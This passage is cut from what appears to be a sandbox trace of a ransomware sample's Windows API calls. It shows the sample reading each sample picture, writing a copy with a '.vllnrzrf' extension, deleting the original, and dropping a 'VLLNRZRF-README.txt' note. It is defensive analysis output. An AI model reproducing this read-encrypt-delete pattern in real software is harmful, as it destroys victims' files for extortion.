lpOldMode=0x1c0ce600) returned 1 [0137.548] GetFileType (hFile=0x534) returned 0x1 [0137.548] GetFileSize (in: hFile=0x534, lpFileSizeHigh=0x1c0ce828 | out: lpFileSizeHigh=0x1c0ce828*=0x0) returned 0x91554 [0138.616] ReadFile (in: hFile=0x534, lpBuffer=0x1223bc60, nNumberOfBytesToRead=0x91554, lpNumberOfBytesRead=0x1c0ce758, lpOverlapped=0x0 | out: lpBuffer=0x1223bc60*, lpNumberOfBytesRead=0x1c0ce758*=0x91554, lpOverlapped=0x0) returned 1 [0138.631] CloseHandle (hObject=0x534) returned 1 [0139.783] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.vllnrzrf", lpFilePart=0x0) returned 0x40 [0139.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0139.783] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.vllnrzrf" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x534 [0139.784] GetFileType (hFile=0x534) returned 0x1 [0139.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0139.784] GetFileType (hFile=0x534) returned 0x1 [0139.784] WriteFile (in: hFile=0x534, lpBuffer=0x125a3d28*, nNumberOfBytesToWrite=0x91754, lpNumberOfBytesWritten=0x1c0ce7b8, lpOverlapped=0x0 | out: lpBuffer=0x125a3d28*, lpNumberOfBytesWritten=0x1c0ce7b8*=0x91754, lpOverlapped=0x0) returned 1 [0139.800] CloseHandle (hObject=0x534) returned 1 [0139.808] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFilePart=0x0) returned 0x37 [0139.808] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFilePart=0x0) returned 0x37 [0139.808] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg")) returned 1 [0139.816] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFilePart=0x0) returned 0x36 [0139.816] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFilePart=0x0) returned 0x36 [0139.817] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFilePart=0x0) returned 0x36 [0139.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0139.817] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x534 [0139.821] GetFileType (hFile=0x534) returned 0x1 [0139.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0139.821] GetFileType (hFile=0x534) returned 0x1 [0139.821] GetFileSize (in: hFile=0x534, lpFileSizeHigh=0x1c0ce828 | out: lpFileSizeHigh=0x1c0ce828*=0x0) returned 0xbd616 [0139.851] ReadFile (in: hFile=0x534, lpBuffer=0x1223bc60, nNumberOfBytesToRead=0xbd616, lpNumberOfBytesRead=0x1c0ce758, lpOverlapped=0x0 | out: lpBuffer=0x1223bc60*, lpNumberOfBytesRead=0x1c0ce758*=0xbd616, lpOverlapped=0x0) returned 1 [0139.908] CloseHandle (hObject=0x534) returned 1 [0140.009] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.vllnrzrf", lpFilePart=0x0) returned 0x3f [0140.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0140.009] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.vllnrzrf" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x534 [0140.009] GetFileType (hFile=0x534) returned 0x1 [0140.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0140.009] GetFileType (hFile=0x534) returned 0x1 [0140.010] WriteFile (in: hFile=0x534, lpBuffer=0x122f92b0*, nNumberOfBytesToWrite=0xbd816, lpNumberOfBytesWritten=0x1c0ce7b8, lpOverlapped=0x0 | out: lpBuffer=0x122f92b0*, lpNumberOfBytesWritten=0x1c0ce7b8*=0xbd816, lpOverlapped=0x0) returned 1 [0140.026] CloseHandle (hObject=0x534) returned 1 [0140.045] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFilePart=0x0) returned 0x36 [0140.045] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFilePart=0x0) returned 0x36 [0140.045] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg")) returned 1 [0140.055] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFilePart=0x0) returned 0x32 [0140.056] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFilePart=0x0) returned 0x32 [0140.056] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFilePart=0x0) returned 0x32 [0140.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0140.056] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x534 [0140.056] GetFileType (hFile=0x534) returned 0x1 [0140.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0140.056] GetFileType (hFile=0x534) returned 0x1 [0140.056] GetFileSize (in: hFile=0x534, lpFileSizeHigh=0x1c0ce828 | out: lpFileSizeHigh=0x1c0ce828*=0x0) returned 0xbea1f [0140.059] ReadFile (in: hFile=0x534, lpBuffer=0x125eeb58, nNumberOfBytesToRead=0xbea1f, lpNumberOfBytesRead=0x1c0ce758, lpOverlapped=0x0 | out: lpBuffer=0x125eeb58*, lpNumberOfBytesRead=0x1c0ce758*=0xbea1f, lpOverlapped=0x0) returned 1 [0140.190] CloseHandle (hObject=0x534) returned 1 [0140.331] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.vllnrzrf", lpFilePart=0x0) returned 0x3b [0140.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0140.331] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.vllnrzrf" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x534 [0140.332] GetFileType (hFile=0x534) returned 0x1 [0140.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0140.333] GetFileType (hFile=0x534) returned 0x1 [0140.333] WriteFile (in: hFile=0x534, lpBuffer=0x12477af0*, nNumberOfBytesToWrite=0xbec1f, lpNumberOfBytesWritten=0x1c0ce7b8, lpOverlapped=0x0 | out: lpBuffer=0x12477af0*, lpNumberOfBytesWritten=0x1c0ce7b8*=0xbec1f, lpOverlapped=0x0) returned 1 [0140.349] CloseHandle (hObject=0x534) returned 1 [0140.360] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFilePart=0x0) returned 0x32 [0140.360] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFilePart=0x0) returned 0x32 [0140.360] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg")) returned 1 [0140.369] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFilePart=0x0) returned 0x37 [0140.369] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFilePart=0x0) returned 0x37 [0140.370] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFilePart=0x0) returned 0x37 [0140.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0140.370] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x534 [0140.371] GetFileType (hFile=0x534) returned 0x1 [0140.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0140.371] GetFileType (hFile=0x534) returned 0x1 [0140.371] GetFileSize (in: hFile=0x534, lpFileSizeHigh=0x1c0ce828 | out: lpFileSizeHigh=0x1c0ce828*=0x0) returned 0x8907c [0140.381] ReadFile (in: hFile=0x534, lpBuffer=0x12536748, nNumberOfBytesToRead=0x8907c, lpNumberOfBytesRead=0x1c0ce758, lpOverlapped=0x0 | out: lpBuffer=0x12536748*, lpNumberOfBytesRead=0x1c0ce758*=0x8907c, lpOverlapped=0x0) returned 1 [0140.393] CloseHandle (hObject=0x534) returned 1 [0140.481] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.vllnrzrf", lpFilePart=0x0) returned 0x40 [0140.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0140.482] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.vllnrzrf" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x534 [0140.482] GetFileType (hFile=0x534) returned 0x1 [0140.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0140.482] GetFileType (hFile=0x534) returned 0x1 [0140.483] WriteFile (in: hFile=0x534, lpBuffer=0x125bf800*, nNumberOfBytesToWrite=0x8927c, lpNumberOfBytesWritten=0x1c0ce7b8, lpOverlapped=0x0 | out: lpBuffer=0x125bf800*, lpNumberOfBytesWritten=0x1c0ce7b8*=0x8927c, lpOverlapped=0x0) returned 1 [0140.495] CloseHandle (hObject=0x534) returned 1 [0140.503] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFilePart=0x0) returned 0x37 [0140.503] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFilePart=0x0) returned 0x37 [0140.503] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg")) returned 1 [0140.511] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFilePart=0x0) returned 0x35 [0140.511] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFilePart=0x0) returned 0x35 [0140.512] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFilePart=0x0) returned 0x35 [0140.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0140.512] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x534 [0140.512] GetFileType (hFile=0x534) returned 0x1 [0140.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0140.512] GetFileType (hFile=0x534) returned 0x1 [0140.513] GetFileSize (in: hFile=0x534, lpFileSizeHigh=0x1c0ce828 | out: lpFileSizeHigh=0x1c0ce828*=0x0) returned 0xbde6b [0140.561] ReadFile (in: hFile=0x534, lpBuffer=0x1223bc60, nNumberOfBytesToRead=0xbde6b, lpNumberOfBytesRead=0x1c0ce758, lpOverlapped=0x0 | out: lpBuffer=0x1223bc60*, lpNumberOfBytesRead=0x1c0ce758*=0xbde6b, lpOverlapped=0x0) returned 1 [0141.186] CloseHandle (hObject=0x534) returned 1 [0141.409] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.vllnrzrf", lpFilePart=0x0) returned 0x3e [0141.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0141.409] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.vllnrzrf" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x534 [0141.410] GetFileType (hFile=0x534) returned 0x1 [0141.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0141.410] GetFileType (hFile=0x534) returned 0x1 [0141.410] WriteFile (in: hFile=0x534, lpBuffer=0x1223bc60*, nNumberOfBytesToWrite=0xbe06b, lpNumberOfBytesWritten=0x1c0ce7b8, lpOverlapped=0x0 | out: lpBuffer=0x1223bc60*, lpNumberOfBytesWritten=0x1c0ce7b8*=0xbe06b, lpOverlapped=0x0) returned 1 [0141.427] CloseHandle (hObject=0x534) returned 1 [0141.553] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFilePart=0x0) returned 0x35 [0141.553] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFilePart=0x0) returned 0x35 [0141.553] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg")) returned 1 [0141.730] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFilePart=0x0) returned 0x33 [0141.731] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFilePart=0x0) returned 0x33 [0141.731] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFilePart=0x0) returned 0x33 [0141.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0141.731] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x534 [0141.731] GetFileType (hFile=0x534) returned 0x1 [0141.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0141.731] GetFileType (hFile=0x534) returned 0x1 [0141.731] GetFileSize (in: hFile=0x534, lpFileSizeHigh=0x1c0ce828 | out: lpFileSizeHigh=0x1c0ce828*=0x0) returned 0x97958 [0141.731] ReadFile (in: hFile=0x534, lpBuffer=0x122f9d08, nNumberOfBytesToRead=0x97958, lpNumberOfBytesRead=0x1c0ce758, lpOverlapped=0x0 | out: lpBuffer=0x122f9d08*, lpNumberOfBytesRead=0x1c0ce758*=0x97958, lpOverlapped=0x0) returned 1 [0141.885] CloseHandle (hObject=0x534) returned 1 [0142.096] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.vllnrzrf", lpFilePart=0x0) returned 0x3c [0142.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ce690) returned 1 [0142.096] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.vllnrzrf" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x534 [0142.097] GetFileType (hFile=0x534) returned 0x1 [0142.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ce600) returned 1 [0142.097] GetFileType (hFile=0x534) returned 0x1 [0142.098] WriteFile (in: hFile=0x534, lpBuffer=0x122d35f0*, nNumberOfBytesToWrite=0x97b58, lpNumberOfBytesWritten=0x1c0ce7b8, lpOverlapped=0x0 | out: lpBuffer=0x122d35f0*, lpNumberOfBytesWritten=0x1c0ce7b8*=0x97b58, lpOverlapped=0x0) returned 1 [0142.112] CloseHandle (hObject=0x534) returned 1 [0142.128] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFilePart=0x0) returned 0x33 [0142.131] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", nBufferLength=0x105, lpBuffer=0x1c0ce350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFilePart=0x0) returned 0x33 [0142.131] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg")) returned 1 [0142.251] CoUninitialize () Thread: id = 130 os_tid = 0x70c [0142.679] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0142.684] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ce1df20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0142.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce1e380) returned 1 [0142.684] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV", nBufferLength=0x105, lpBuffer=0x1ce1de70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV", lpFilePart=0x0) returned 0x1b [0142.684] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\", nBufferLength=0x105, lpBuffer=0x1ce1de10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\", lpFilePart=0x0) returned 0x1c [0142.685] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*.*", lpFindFileData=0x1ce1e020 | out: lpFindFileData=0x1ce1e020*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc4fe2410, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xc4fe2410, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5782a0 [0142.685] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1ce1e070 | out: lpFindFileData=0x1ce1e070*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc4fe2410, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xc4fe2410, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.685] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1ce1e070 | out: lpFindFileData=0x1ce1e070*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.685] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1ce1e070 | out: lpFindFileData=0x1ce1e070*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1 [0142.685] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1ce1e070 | out: lpFindFileData=0x1ce1e070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fe2410, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xc4fe2410, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xc4fe2410, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0142.686] FindNextFileW (in: hFindFile=0x1a5782a0, lpFindFileData=0x1ce1e070 | out: lpFindFileData=0x1ce1e070*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, 